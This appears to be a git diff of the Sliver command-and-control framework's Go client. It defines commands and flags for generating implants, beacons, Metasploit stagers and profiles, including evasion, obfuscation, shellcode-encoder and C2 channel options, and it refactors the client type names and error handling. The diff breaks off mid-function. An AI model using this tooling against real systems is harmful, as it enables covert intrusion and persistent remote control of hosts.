"github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/command/transports" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns all payload compilation commands. +func Commands(con *console.SliverClient) []*cobra.Command { + // [ Generate ] -------------------------------------------------------------- + generateCmd := &cobra.Command{ + Use: consts.GenerateStr, + Short: "Generate an implant binary", + Long: help.GetHelpFor([]string{consts.GenerateStr}), + Run: func(cmd *cobra.Command, args []string) { + GenerateCmd(cmd, con, args) + }, + GroupID: consts.PayloadsHelpGroup, + } + flags.Bind("generate", true, generateCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + // Session flags and completions. + coreImplantFlags("session", generateCmd) + compileImplantFlags("session", generateCmd) + coreImplantFlagCompletions(generateCmd, con) + + generateBeaconCmd := &cobra.Command{ + Use: consts.BeaconStr, + Short: "Generate a beacon binary", + Long: help.GetHelpFor([]string{consts.GenerateStr, consts.BeaconStr}), + Run: func(cmd *cobra.Command, args []string) { + GenerateBeaconCmd(cmd, con, args) + }, + } + + // Beacon flags and completions. + coreImplantFlags("beacon", generateBeaconCmd) + compileImplantFlags("beacon", generateBeaconCmd) + coreBeaconFlags("beacon", generateBeaconCmd) + coreImplantFlagCompletions(generateBeaconCmd, con) + + generateCmd.AddCommand(generateBeaconCmd) + + generateStagerCmd := &cobra.Command{ + Use: consts.MsfStagerStr, + Short: "Generate a stager using Metasploit (requires local Metasploit installation)", + Long: help.GetHelpFor([]string{consts.MsfStagerStr}), + Run: func(cmd *cobra.Command, args []string) { + GenerateStagerCmd(cmd, con, args) + }, + } + flags.Bind("stager", false, generateStagerCmd, func(f *pflag.FlagSet) { + f.StringP("os", "o", "windows", "operating system") + f.StringP("arch", "a", "amd64", "cpu architecture") + f.StringP("lhost", "L", "", "Listening host") + f.Uint32P("lport", "l", 8443, "Listening port") + f.StringP("protocol", "r", "tcp", "Staging protocol (tcp/http/https)") + f.StringP("format", "f", "raw", "Output format (msfvenom formats, see help generate msf-stager for the list)") + f.StringP("badchars", "b", "", "bytes to exclude from stage shellcode") + f.StringP("save", "s", "", "directory to save the generated stager to") + f.StringP("advanced", "d", "", "Advanced options for the stager using URI query syntax (option1=value1&option2=value2...)") + }) + completers.NewFlagCompsFor(generateStagerCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionDirectories() + (*comp)["os"] = carapace.ActionValues("windows", "linux", "darwin").Tag("msf stager OS") + (*comp)["arch"] = carapace.ActionValues("amd64", "x86").Tag("msf stager archs") + (*comp)["format"] = MsfFormatCompleter(con) + (*comp)["protocol"] = carapace.ActionValues("http", "https", "tcp").Tag("msf stager protocols") + }) + generateCmd.AddCommand(generateStagerCmd) + + generateInfoCmd := &cobra.Command{ + Use: consts.CompilerInfoStr, + Short: "Get information about the server's compiler", + Long: help.GetHelpFor([]string{consts.CompilerInfoStr}), + Run: func(cmd *cobra.Command, args []string) { + GenerateInfoCmd(cmd, con, args) + }, + } + generateCmd.AddCommand(generateInfoCmd) + + // [ Regenerate ] -------------------------------------------------------------- + + regenerateCmd := &cobra.Command{ + Use: consts.RegenerateStr, + Short: "Regenerate an implant", + Long: help.GetHelpFor([]string{consts.RegenerateStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RegenerateCmd(cmd, con, args) + }, + GroupID: consts.PayloadsHelpGroup, + } + flags.Bind("regenerate", false, regenerateCmd, func(f *pflag.FlagSet) { + f.StringP("save", "s", "", "directory/file to the binary to") + }) + completers.NewFlagCompsFor(regenerateCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") + }) + carapace.Gen(regenerateCmd).PositionalCompletion(ImplantBuildNameCompleter(con)) + + // [ Profiles ] -------------------------------------------------------------- + + profilesCmd := &cobra.Command{ + Use: consts.ProfilesStr, + Short: "List existing profiles", + Long: help.GetHelpFor([]string{consts.ProfilesStr}), + Run: func(cmd *cobra.Command, args []string) { + ProfilesCmd(cmd, con, args) + }, + GroupID: consts.PayloadsHelpGroup, + } + flags.Bind("profiles", true, profilesCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + profilesGenerateCmd := &cobra.Command{ + Use: consts.GenerateStr, + Short: "Generate implant from a profile", + Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ProfilesGenerateCmd(cmd, con, args) + }, + } + flags.Bind("profiles", false, profilesGenerateCmd, func(f *pflag.FlagSet) { + f.StringP("save", "s", "", "directory/file to the binary to") + f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") + }) + completers.NewFlagCompsFor(profilesGenerateCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") + }) + carapace.Gen(profilesGenerateCmd).PositionalCompletion(ProfileNameCompleter(con)) + profilesCmd.AddCommand(profilesGenerateCmd) + + profilesNewCmd := &cobra.Command{ + Use: consts.NewStr, + Short: "Create a new implant profile (interactive session)", + Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr}), + Run: func(cmd *cobra.Command, args []string) { + ProfilesNewCmd(cmd, con, args) + }, + } + profilesCmd.AddCommand(profilesNewCmd) + + // Session flags and completions. + coreImplantFlags("session", profilesNewCmd) + compileImplantFlags("session", profilesNewCmd) + coreImplantFlagCompletions(profilesNewCmd, con) + + profilesNewBeaconCmd := &cobra.Command{ + Use: consts.BeaconStr, + Short: "Create a new implant profile (beacon)", + Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr, consts.BeaconStr}), + Run: func(cmd *cobra.Command, args []string) { + ProfilesNewBeaconCmd(cmd, con, args) + }, + } + profilesNewCmd.AddCommand(profilesNewBeaconCmd) + + // Beacon flags and completions. + coreImplantFlags("beacon", profilesNewBeaconCmd) + compileImplantFlags("beacon", profilesNewBeaconCmd) + coreBeaconFlags("beacon", profilesNewBeaconCmd) + coreImplantFlagCompletions(profilesNewBeaconCmd, con) + + profilesRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a profile", + Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.RmStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ProfilesRmCmd(cmd, con, args) + }, + } + carapace.Gen(profilesRmCmd).PositionalCompletion(ProfileNameCompleter(con)) + profilesCmd.AddCommand(profilesRmCmd) + + profilesInfoCmd := &cobra.Command{ + Use: consts.InfoStr, + Short: "Details about a profile", + Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.RmStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + PrintProfileInfo(args[0], con) + }, + } + carapace.Gen(profilesInfoCmd).PositionalCompletion(ProfileNameCompleter(con)) + profilesCmd.AddCommand(profilesInfoCmd) + + // [ Implants ] -------------------------------------------------------------- + + implantBuildsCmd := &cobra.Command{ + Use: consts.ImplantBuildsStr, + Short: "List implant builds", + Long: help.GetHelpFor([]string{consts.ImplantBuildsStr}), + Run: func(cmd *cobra.Command, args []string) { + ImplantsCmd(cmd, con, args) + }, + GroupID: consts.PayloadsHelpGroup, + } + flags.Bind("implants", true, implantBuildsCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("implants", false, implantBuildsCmd, func(f *pflag.FlagSet) { + f.StringP("os", "o", "", "filter builds by operating system") + f.StringP("arch", "a", "", "filter builds by cpu architecture") + f.StringP("format", "f", "", "filter builds by artifact format") + f.BoolP("only-sessions", "s", false, "filter interactive sessions") + f.BoolP("only-beacons", "b", false, "filter beacons") + f.BoolP("no-debug", "d", false, "filter builds by debug flag") + }) + completers.NewFlagCompsFor(implantBuildsCmd, func(comp *carapace.ActionMap) { + (*comp)["os"] = OSCompleter(con) + (*comp)["arch"] = ArchCompleter(con) + (*comp)["format"] = FormatCompleter() + }) + + implantsRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove implant build", + Long: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.RmStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ImplantsRmCmd(cmd, con, args) + }, + } + carapace.Gen(implantsRmCmd).PositionalCompletion(ImplantBuildNameCompleter(con)) + implantBuildsCmd.AddCommand(implantsRmCmd) + + canariesCmd := &cobra.Command{ + Use: consts.CanariesStr, + Short: "List previously generated canaries", + Long: help.GetHelpFor([]string{consts.CanariesStr}), + Run: func(cmd *cobra.Command, args []string) { + CanariesCmd(cmd, con, args) + }, + GroupID: consts.PayloadsHelpGroup, + } + flags.Bind("canaries", false, canariesCmd, func(f *pflag.FlagSet) { + f.BoolP("burned", "b", false, "show only triggered/burned canaries") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{generateCmd, regenerateCmd, profilesCmd, implantBuildsCmd} +} + +// coreImplantFlags binds all flags common to all sliver implant types. +// This is used by all sliver compilation and profiles generation commands. +func coreImplantFlags(name string, cmd *cobra.Command) { + flags.Bind(name, false, cmd, func(f *pflag.FlagSet) { + // Core compile + f.StringP("os", "o", "windows", "operating system") + f.StringP("arch", "a", "amd64", "cpu architecture") + f.StringP("name", "N", "", "agent name") // + f.BoolP("debug", "d", false, "enable debug features") + f.StringP("debug-file", "O", "", "path to debug output") + f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)") + f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation") + f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") + + f.StringP("canary", "c", "", "canary domain(s)") + + // C2 channels + f.StringP("mtls", "m", "", "mtls connection strings") + f.StringP("wg", "g", "", "wg connection strings") + f.StringP("http", "b", "", "http(s) connection strings") + f.StringP("dns", "n", "", "dns connection strings") + f.StringP("named-pipe", "p", "", "named-pipe connection strings") + f.StringP("tcp-pivot", "i", "", "tcp-pivot connection strings") + + f.Uint32P("key-exchange", "X", DefaultWGKeyExPort, "wg key-exchange port") + f.Uint32P("tcp-comms", "T", DefaultWGNPort, "wg c2 comms port") + + f.BoolP("run-at-load", "R", false, "run the implant entrypoint from DllMain/Constructor (shared library only)") + f.BoolP("netgo", "q", false, "force the use of netgo") + f.StringP("traffic-encoders", "A", "", "comma separated list of traffic encoders to enable") + + f.StringP("strategy", "Z", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)") + f.Int64P("reconnect", "j", DefaultReconnect, "attempt to reconnect every n second(s)") + f.Int64P("poll-timeout", "P", DefaultPollTimeout, "long poll request timeout") + f.Uint32P("max-errors", "k", DefaultMaxErrors, "max number of connection errors") + + // Limits + f.StringP("limit-datetime", "w", "", "limit execution to before datetime") + f.BoolP("limit-domainjoined", "x", false, "limit execution to domain joined machines") + f.StringP("limit-username", "y", "", "limit execution to specified username") + f.StringP("limit-hostname", "z", "", "limit execution to specified hostname") + f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem") + f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale") + + f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)") + }) +} + +// coreImplantFlagCompletions binds completions to flags registered in coreImplantFlags. +func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) { + completers.NewFlagCompsFor(cmd, func(comp *carapace.ActionMap) { + (*comp)["debug-file"] = carapace.ActionFiles() + (*comp)["os"] = OSCompleter(con) + (*comp)["arch"] = ArchCompleter(con) + (*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy") + (*comp)["format"] = FormatCompleter() + (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") + (*comp)["traffic-encoders"] = transports.TrafficEncodersCompleter(con).UniqueList(",") + }) +} + +// coreBeaconFlags binds all flags specific to beacon implants (profiles or compiled). +func coreBeaconFlags(name string, cmd *cobra.Command) { + flags.Bind(name, false, cmd, func(f *pflag.FlagSet) { + f.Int64P("days", "D", 0, "beacon interval days") + f.Int64P("hours", "H", 0, "beacon interval hours") + f.Int64P("minutes", "M", 0, "beacon interval minutes") + f.Int64P("seconds", "S", 60, "beacon interval seconds") + f.Int64P("jitter", "J", 30, "beacon interval jitter in seconds") + }) +} + +// compileImplantFlags binds all flags used when actually compiling an implant (not when creating a profile). +func compileImplantFlags(name string, cmd *cobra.Command) { + flags.Bind(name, false, cmd, func(f *pflag.FlagSet) { + f.StringP("name", "N", "", "agent name") + f.StringP("template", "I", "sliver", "implant code template") + f.BoolP("external-builder", "E", false, "use an external builder") + f.StringP("save", "s", "", "directory/file to the binary to") + }) +} diff --git a/client/command/generate/generate-beacon.go b/client/command/generate/generate-beacon.go index 43820aa7d4..fc68a65b3d 100644 --- a/client/command/generate/generate-beacon.go +++ b/client/command/generate/generate-beacon.go @@ -16,8 +16,8 @@ var ( ErrBeaconIntervalTooShort = fmt.Errorf("beacon interval must be %v or greater", minBeaconInterval) ) -// GenerateBeaconCmd - The main command used to generate implant binaries -func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// GenerateBeaconCmd - The main command used to generate implant binaries. +func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { config := parseCompileFlags(cmd, con) if config == nil { return @@ -39,7 +39,7 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg } } -func parseBeaconFlags(cmd *cobra.Command, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error { +func parseBeaconFlags(cmd *cobra.Command, con *console.SliverClient, config *clientpb.ImplantConfig) error { days, _ := cmd.Flags().GetInt64("days") hours, _ := cmd.Flags().GetInt64("hours") minutes, _ := cmd.Flags().GetInt64("minutes") diff --git a/client/command/generate/generate-info.go b/client/command/generate/generate-info.go index 9fe59c3321..ac01a6be40 100644 --- a/client/command/generate/generate-info.go +++ b/client/command/generate/generate-info.go @@ -9,11 +9,11 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// GenerateInfoCmd - Display information about the Sliver server's compiler configuration -func GenerateInfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// GenerateInfoCmd - Display information about the Sliver server's compiler configuration. +func GenerateInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Failed to get compiler information: %s\n", err) + con.PrintErrorf("Failed to get compiler information: %s\n", con.UnwrapServerErr(err)) return } con.Printf("%sServer:%s %s/%s\n", console.Bold, console.Normal, compiler.GOOS, compiler.GOARCH) diff --git a/client/command/generate/generate-stager.go b/client/command/generate/generate-stager.go index 6806ffb184..775ab17a18 100644 --- a/client/command/generate/generate-stager.go +++ b/client/command/generate/generate-stager.go @@ -33,8 +33,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// GenerateStagerCmd - Generate a stager using Metasploit -func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// GenerateStagerCmd - Generate a stager using Metasploit. +func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var stageProto clientpb.StageProtocol lhost, _ := cmd.Flags().GetString("lhost") if lhost == "" { @@ -109,7 +109,7 @@ func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg <-ctrl if err != nil { - con.PrintErrorf("Error: %v - Please make sure Metasploit framework >= v6.2 is installed and msfvenom/msfconsole are in your PATH", err) + con.PrintErrorf("Error: %v - Please make sure Metasploit framework >= v6.2 is installed and msfvenom/msfconsole are in your PATH", con.UnwrapServerErr(err)) return } diff --git a/client/command/generate/generate.go b/client/command/generate/generate.go index 9e105e31bd..a380f5f21d 100644 --- a/client/command/generate/generate.go +++ b/client/command/generate/generate.go @@ -44,28 +44,28 @@ import ( ) const ( - // DefaultMTLSLPort is the default port for mtls + // DefaultMTLSLPort is the default port for mtls. DefaultMTLSLPort = 8888 - // DefaultWGPort is the default port for wg + // DefaultWGPort is the default port for wg. DefaultWGLPort = 53 - // DefaultWGNPort is the default n port for wg + // DefaultWGNPort is the default n port for wg. DefaultWGNPort = 8888 - // DefaultWGKeyExPort is the default port for wg key exchange + // DefaultWGKeyExPort is the default port for wg key exchange. DefaultWGKeyExPort = 1337 - // DefaultHTTPLPort is the default port for http + // DefaultHTTPLPort is the default port for http. DefaultHTTPLPort = 80 - // DefaultHTTPSLPort is the default port for https + // DefaultHTTPSLPort is the default port for https. DefaultHTTPSLPort = 443 - // DefaultDNSLPortis the default port for dns + // DefaultDNSLPortis the default port for dns. DefaultDNSLPort = 53 - // DefaultTCPPivotPort is the default port for tcp pivots + // DefaultTCPPivotPort is the default port for tcp pivots. DefaultTCPPivotPort = 9898 - // DefaultReconnect is the default reconnect time + // DefaultReconnect is the default reconnect time. DefaultReconnect = 60 - // DefaultPollTimeout is the default poll timeout + // DefaultPollTimeout is the default poll timeout. DefaultPollTimeout = 360 // 6 minutes - // DefaultMaxErrors is the default max reconnection errors before giving up + // DefaultMaxErrors is the default max reconnection errors before giving up. DefaultMaxErrors = 1000 ) @@ -74,7 +74,7 @@ const ( ) var ( - // SupportedCompilerTargets - Supported compiler targets + // SupportedCompilerTargets - Supported compiler targets. SupportedCompilerTargets = map[string]bool{ "darwin/amd64": true, "darwin/arm64": true, @@ -88,8 +88,8 @@ var ( ErrNoValidBuilders = errors.New("no valid external builders for target") ) -// GenerateCmd - The main command used to generate implant binaries -func GenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// GenerateCmd - The main command used to generate implant binaries. +func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { config := parseCompileFlags(cmd, con) if config == nil { return @@ -127,7 +127,7 @@ func expandPath(path string) string { return filepath.Join(os.Getenv("HOME"), path[1:]) } -func saveLocation(save, DefaultName string, con *console.SliverConsoleClient) (string, error) { +func saveLocation(save, DefaultName string, con *console.SliverClient) (string, error) { var saveTo string if save == "" { save, _ = os.Getwd() @@ -181,8 +181,8 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string { } } -// Shared function that extracts the compile flags from the grumble context -func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *clientpb.ImplantConfig { +// Shared function that extracts the compile flags from the grumble context. +func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) *clientpb.ImplantConfig { var name string if nameF, _ := cmd.Flags().GetString("name"); nameF != "" { name = strings.ToLower(nameF) @@ -404,8 +404,8 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl return config } -// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled -func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *console.SliverConsoleClient) (bool, []*commonpb.File) { +// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled. +func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *console.SliverClient) (bool, []*commonpb.File) { trafficEncoders, _ := cmd.Flags().GetString("traffic-encoders") encoders := []*commonpb.File{} if trafficEncoders != "" { @@ -425,7 +425,7 @@ func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *consol return false, encoders } -func getTargets(targetOS string, targetArch string, con *console.SliverConsoleClient) (string, string) { +func getTargets(targetOS string, targetArch string, con *console.SliverClient) (string, string) { /* For UX we convert some synonymous terms */ if targetOS == "darwin" || targetOS == "mac" || targetOS == "macos" || targetOS == "osx" { targetOS = "darwin" @@ -461,7 +461,7 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl return targetOS, targetArch } -// ParseMTLSc2 - Parse mtls connection string arg +// ParseMTLSc2 - Parse mtls connection string arg. func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -496,7 +496,7 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) { return c2s, nil } -// ParseWGc2 - Parse wg connect string arg +// ParseWGc2 - Parse wg connect string arg. func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -612,7 +612,7 @@ func uriWithoutProxyOptions(uri *url.URL) { uri.RawQuery = options.Encode() } -// ParseHTTPc2 - Parse HTTP connection string arg +// ParseHTTPc2 - Parse HTTP connection string arg. func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -658,7 +658,7 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) { return c2s, nil } -// ParseDNSc2 - Parse DNS connection string arg +// ParseDNSc2 - Parse DNS connection string arg. func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -693,7 +693,7 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) { return c2s, nil } -// ParseNamedPipec2 - Parse named pipe connection string arg +// ParseNamedPipec2 - Parse named pipe connection string arg. func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -740,7 +740,7 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) { return c2s, nil } -// ParseTCPPivotc2 - Parse tcp pivot connection string arg +// ParseTCPPivotc2 - Parse tcp pivot connection string arg. func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -778,7 +778,7 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) { return c2s, nil } -func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) { +func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) { potentialBuilders, err := findExternalBuilders(config, con) if err != nil { return nil, err @@ -822,7 +822,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli BuilderName: externalBuilder.Name, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return nil, err } con.Printf("done\n") @@ -882,7 +882,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli ImplantName: name, }) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data)) @@ -901,7 +901,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli return nil, nil } -func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) { +func compile(config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) { if config.IsBeacon { interval := time.Duration(config.BeaconInterval) con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval) @@ -924,7 +924,7 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return nil, err } @@ -949,7 +949,7 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon Data: fileData, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.Printf("success!\n") fileData = resp.GetData() @@ -994,14 +994,14 @@ func getLimitsString(config *clientpb.ImplantConfig) string { return strings.Join(limits, "; ") } -func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool { +func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverClient) bool { if format == clientpb.OutputFormat_EXECUTABLE { return true // We don't need cross-compilers when targeting EXECUTABLE formats } compilers, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Failed to check target compatibility: %s\n", err) + con.PrintErrorf("Failed to check target compatibility: %s\n", con.UnwrapServerErr(err)) return true } @@ -1035,7 +1035,7 @@ func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossC return false } -func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool { +func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverClient) bool { con.PrintWarnf("Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch) switch targetOS { case "windows": @@ -1053,10 +1053,10 @@ func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, tar return confirm } -func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverConsoleClient) ([]*clientpb.Builder, error) { +func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverClient) ([]*clientpb.Builder, error) { builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } if len(builders.Builders) < 1 { return []*clientpb.Builder{}, ErrNoExternalBuilder @@ -1079,7 +1079,7 @@ func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverCon return validBuilders, nil } -func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverConsoleClient) (*clientpb.Builder, error) { +func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverClient) (*clientpb.Builder, error) { choices := []string{} for _, builder := range builders { choices = append(choices, builder.Name) diff --git a/client/command/generate/helpers.go b/client/command/generate/helpers.go index f234c09159..503fd9a73d 100644 --- a/client/command/generate/helpers.go +++ b/client/command/generate/helpers.go @@ -3,21 +3,25 @@ package generate import ( "context" "fmt" + "strings" "github.com/rsteube/carapace" + "github.com/rsteube/carapace/pkg/cache" + "github.com/rsteube/carapace/pkg/style" + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" ) -// GetSliverBinary - Get the binary of an implant based on it's profile -func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsoleClient) ([]byte, error) { +// GetSliverBinary - Get the binary of an implant based on it's profile. +func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient) ([]byte, error) { var data []byte // get implant builds builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) if err != nil { - return data, err + return data, con.UnwrapServerErr(err) } implantName := buildImplantName(profile.GetConfig().GetFileName()) @@ -35,14 +39,14 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol <-ctrl if err != nil { con.PrintErrorf("Error generating implant\n") - return data, err + return data, con.UnwrapServerErr(err) } data = generated.GetFile().GetData() profile.Config.FileName = generated.File.Name _, err = con.Rpc.SaveImplantProfile(context.Background(), profile) if err != nil { con.PrintErrorf("Error updating implant profile\n") - return data, err + return data, con.UnwrapServerErr(err) } } else { // Found a build, reuse that one @@ -51,7 +55,7 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol ImplantName: implantName, }) if err != nil { - return data, err + return data, con.UnwrapServerErr(err) } data = regenerate.GetFile().GetData() } @@ -59,11 +63,15 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol } // FormatCompleter completes builds' architectures. -func ArchCompleter(con *console.SliverConsoleClient) carapace.Action { +func ArchCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("No compiler info: %s", err.Error()) + return carapace.ActionMessage("No compiler info: %s", con.UnwrapServerErr(err)) } var results []string @@ -89,15 +97,19 @@ func ArchCompleter(con *console.SliverConsoleClient) carapace.Action { } return carapace.ActionValues(results...).Tag("architectures") - }) + }).Cache(completers.CacheCompilerInfo) } -// FormatCompleter completes build operating systems -func OSCompleter(con *console.SliverConsoleClient) carapace.Action { +// FormatCompleter completes build operating systems. +func OSCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("No compiler info: %s", err.Error()) + return carapace.ActionMessage("No compiler info: %s", con.UnwrapServerErr(err)) } var results []string @@ -123,10 +135,10 @@ func OSCompleter(con *console.SliverConsoleClient) carapace.Action { } return carapace.ActionValues(results...).Tag("operating systems") - }) + }).Cache(completers.CacheCompilerInfo) } -// FormatCompleter completes build formats +// FormatCompleter completes build formats. func FormatCompleter() carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { return carapace.ActionValues([]string{ @@ -135,27 +147,111 @@ func FormatCompleter() carapace.Action { }) } -// TrafficEncoderCompleter - Completes the names of traffic encoders -func TrafficEncodersCompleter(con *console.SliverConsoleClient) carapace.Action { - return carapace.ActionCallback(func(c carapace.Context) carapace.Action { - grpcCtx, cancel := con.GrpcContext(nil) - defer cancel() - trafficEncoders, err := con.Rpc.TrafficEncoderMap(grpcCtx, 